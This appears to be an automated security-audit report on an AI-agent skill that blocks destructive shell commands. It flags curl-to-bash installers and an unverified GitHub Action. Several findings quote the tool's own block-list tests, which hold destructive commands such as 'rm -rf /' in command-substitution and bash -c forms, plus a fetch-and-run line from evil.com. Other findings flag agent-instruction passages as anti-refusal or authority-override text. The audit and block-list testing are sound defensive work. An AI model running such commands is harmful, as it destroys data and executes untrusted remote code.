T03 · Remote Payload Retrieval and Execution
Error
- Location
SKILL.md:197- Finding
Skill instructions execute a mutable remote installer without prior verification
- Content
View full analysis
- Remediation
View remediation
Security audit
Destructive Command Guard
Security checks for vulnerabilities and agentic risk
Overview
The skill has a coherent safety-tool purpose, but its installer and updater run mutable remote code and install persistent agent hooks, so it needs careful review before use.
Install only if you are comfortable with a persistent shell-command hook and local configuration changes. Prefer reviewing and running a pinned release installer or locally built binary instead of curl-to-bash from master, avoid the sudo install path unless you have verified the script and artifact, and review the hook/config/history files it creates.
Vulnerability Patterns
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Insecure DependenciesIntroduces malicious components through unsafe dependency sources
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)
T03 · Remote Payload Retrieval and Execution
Error
- Location
src/cli.rs:8441- Finding
The self-update command executes an unpinned branch-head installer
- Content
View full analysis
Result<(), Box> { let script_url = "https://raw.githubusercontent.com/Dicklesworthstone/destructive_command_guard/master/install.sh"; let mut args: Vec = Vec::new(); if let Some(version) = update.version { args.push("--version".to_string()); args.push(version); } if update.system { args.push("--system".to_string()); } if update.easy_mode { args.push("--easy-mode".to_string()); } if let Some(dest) = update.dest { args.push("--dest".to_string()); args.push(dest.to_string_lossy().into_owned()); } if update.from_source { args.push("--from-source".to_string()); } if update.verify { args.push("--verify".to_string()); } if update.quiet { args.push("--quiet".to_string()); } if update.no_gum { args.push("--no-gum".to_string()); } if update.force { args.push("--force".to_string()); } let mut escaped_args = String::new(); for (idx, arg) in args.iter().enumerate() { if idx > 0 { escaped_args.push(' '); } escaped_args.push_str(&shell_escape_posix(arg)); } let command = if escaped_args.is_empty() { format!("curl -fsSL {} | bash -s --", shell_escape_posix(script_url)) } else { format!( "curl -fsSL {} | bash -s -- {}", shell_escape_posix(script_url), escaped_args ) }; let status = std::process::Command::new("sh") .arg("-c") .arg(command) .status()?; if !status.success() { return Err(format!("Installer failed with status {status}").into()); } Ok(()) } ``` ### Technical Analys ...[truncated 1764 chars]- Remediation
View remediation
T03 · Remote Payload Retrieval and Execution
Error
- Location
install.sh:597- Finding
Source installation executes the remote Rustup bootstrap script
- Content
View full analysis
/dev/null 2>&1 && rustc --version 2>/dev/null | grep -q nightly; then return 0; fi if [ "$EASY" -ne 1 ]; then if [ -t 0 ]; then echo -n "Install Rust nightly via rustup? (y/N): " read -r ans case "$ans" in y|Y) :;; *) warn "Skipping rustup install"; return 0;; esac fi fi info "Installing rustup (nightly)" curl -fsSL https://sh.rustup.rs | sh -s -- -y --default-toolchain nightly --profile minimal export PATH="$HOME/.cargo/bin:$PATH" rustup component add rustfmt clippy || true } ``` ### Technical Analysis When Rust nightly is unavailable, the installer downloads the current Rustup bootstrap script and immediately executes it. No digest, signature, immutable version, or local review is required. In easy mode, the interactive confirmation is bypassed. The same path can also be reached when a prebuilt DCG artifact fails to download and the installer falls back to building from source. Therefore, failure of one network operation can lead to execution of an additional remote program. Rustup is a legitimate tool, but its legitimacy does not eliminate the security risk created by directly executing mutable network content. The dependency receives the full privileges of the installer process. ### Attack Path 1. A source installation is requested, or the prebuilt DCG artifact download fails. 2. The installer determines that a nightly Rust toolchain is unavailable. 3. In easy or non-interactive conditions, installation may proceed without meaningful user review. 4. The installer retrieves the current script from `sh.rustup.rs`. 5. The response is strea ...[truncated 587 chars]- Remediation
View remediation
T08 · Insecure Dependencies
Error
- Location
action/action.yml:84- Finding
GitHub Action executes release binaries without checksum or signature verification
- Content
View full analysis
> $GITHUB_OUTPUT exit 0 fi sleep 2 done tar -xzf dcg.tar.gz chmod +x dcg echo "dcg_path=${{ runner.temp }}/dcg/dcg" >> $GITHUB_OUTPUT ``` ### Technical Analysis The composite action downloads an executable archive and subsequently runs the extracted `dcg` binary wit ...[truncated 1974 chars]- Remediation
View remediation
Vulnerability Patterns
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
- Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (3573)
Ssd 1
High
- Category
- Not specified by scanner
- Confidence
- 97% confidence
- Finding
This section establishes a blanket authority override in natural language: if the author asks for something, the agent must comply even when it conflicts with subsequent rules. That is a semantic jailbreak pattern because it reframes conflicting instructions as automatically superseded by a privileged actor without any verification or safety boundary.
- Content
Hidden Instructions
High
- Category
- Prompt Injection
- Confidence
- 70% confidence
- Finding
Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
- Content
md --- <!-- dcg-machine-readable-v1 --> ## DCG Hook Protocol (Machine-Readable Reference)
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md | Pattern ID | Blocks | Severity | |------------|--------|----------| | `core.filesystem:rm-rf-root` | `rm -rf /`, `rm -rf ~` | Critical | | `core.filesystem:rm-rf-general` | `rm -rf` outside temp dirs | High | ### Safe Patterns (Whitelist - Always Allowed)
Hidden Instructions
High
- Category
- Prompt Injection
- Confidence
- 70% confidence
- Finding
Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
- Content
md - **Don't** use `ripgrep` to understand "how does X work" → wastes time with manual reads - **Don't** use `ripgrep` for codemods → risks collateral edits <!-- bv-agent-instructions-v1 --> ---
Hidden Instructions
High
- Category
- Prompt Injection
- Confidence
- 70% confidence
- Finding
Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
- Content
md - Use descriptive titles and set appropriate priority/type - Always `br sync --flush-only && git add .beads/` before ending session <!-- end-bv-agent-instructions --> ## Landing the Plane (Session Completion)
Ssd 1
High
- Category
- Not specified by scanner
- Confidence
- 91% confidence
- Finding
This passage uses forceful natural-language framing to prevent the agent from flagging unexpected modifications and tells it to 'fool yourself' into assuming ownership of unexplained changes. Semantically, that redirects the model away from standard caution around untrusted or unexplained workspace state, which can enable unsafe or unauthorized actions without using obvious jailbreak keywords.
- Content
Anti-Refusal Statement
High
- Category
- Anti-Refusal
- Confidence
- 70% confidence
- Finding
Skill instructs the agent to never refuse or to always comply. Suppressing the agent's ability to decline removes a core safety control and enables downstream harmful requests to succeed.
- Content
md ## Note on Built-in TODO Functionality Also, if I ask you to explicitly use your built-in TODO functionality, don't complain about this and say you need to use beads. You can use built-in TODOs if I tell you specifically to do so. Always comply with such orders.
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
Example: How Context Parsing Works
text Command: git commit -m "Fix the rm -rf detection bug" Tokenization: ┌─────────────────────────────────────────────────────────────┐
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"git commit -m "Fix git reset --hard detection""#, r#"echo "example: git push --force""#, r#"rg -n "rm -rf" src/main.rs"#, r#"printf "Dangerous: %s\n" "rm -rf /""#, ]; for cmd in allowed {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"git commit -m "Fix git reset --hard detection""#, r#"echo "example: git push --force""#, r#"rg -n "rm -rf" src/main.rs"#, r#"printf "Dangerous: %s\n" "rm -rf /""#, ]; for cmd in allowed {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"git commit -m "Fix git reset --hard detection""#, r#"echo "example: git push --force""#, r#"rg -n "rm -rf" src/main.rs"#, r#"printf "Dangerous: %s\n" "rm -rf /""#, ]; for cmd in allowed {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md fn test_must_block_execution_contexts() { let blocked = vec![ r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#,
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md fn test_must_block_execution_contexts() { let blocked = vec![ r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#,
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md fn test_must_block_execution_contexts() { let blocked = vec![ r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#,
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ];
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"bash -c "rm -rf /""#, r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ];
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"python -c "import os; os.system('rm -rf /')""#, r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ];
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md r#"sh -c 'git reset --hard'"#, r#"git status; rm -rf /"#, r#"$(rm -rf /)"#, r#"`rm -rf /`"#, ]; for cmd in blocked {
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
Example: False Positive Explanation
text $ dcg explain 'bd create --description="Fix rm -rf detection"' ╔══════════════════════════════════════════════════════════════════════╗ ║ DCG Decision Analysis ║
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md # Allowlist by exact command (for one-off cases) [[allow]] exact_command = "rm -rf /tmp/dcg-test-artifacts" reason = "Test cleanup" expires_at = 2026-06-01T00:00:00Z
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
rust # Allowlist by exact command (for one-off cases) [[allow]] exact_command = "rm -rf /tmp/dcg-test-artifacts" reason = "Test cleanup" expires_at = 2026-06-01T00:00:00Z
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md --condition "CI=true" # Add exact command (for one-off) $ dcg allowlist add-command "rm -rf /tmp/old-build" \ --reason "One-time cleanup" \ --expires 2026-02-01
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 85% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md ├────────────────────────────┼──────────────────────────┼─────────────────┤ │ Rule ID │ core.git:hard-reset │ Dev workflow │ │ Rule ID + Condition │ core.filesystem:rm-rf-* │ CI cleanup │ │ Exact Command (expires) │ rm -rf /tmp/old-build │ One-time │ │ Command Prefix │ bd create │ Documentation │ └────────────────────────────┴──────────────────────────┴─────────────────┘
External Script Fetching
High
- Category
- Supply Chain
- Confidence
- 90% confidence
- Finding
Remote code is downloaded and executed. This bypasses code review and could introduce malicious code.
- Content
Also bypasses:
bash -c "git reset --hard" curl https://evil.com/script.sh | bash node -e "require('child_process').execSync('rm -rf /')"
text
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md hashmap! { Language::Python => vec![ AstPattern::new("os.system($CMD)", "Shell execution via os.system"), AstPattern::new("subprocess.run($$$, shell=True)", "Shell execution via subprocess"), AstPattern::new("subprocess.call($$$, shell=True)", "Shell execution via subprocess"), AstPattern::new("shutil.rmtree($PATH)", "Recursive directory deletion"), AstPattern::new("os.remove($PATH)", "File deletion"),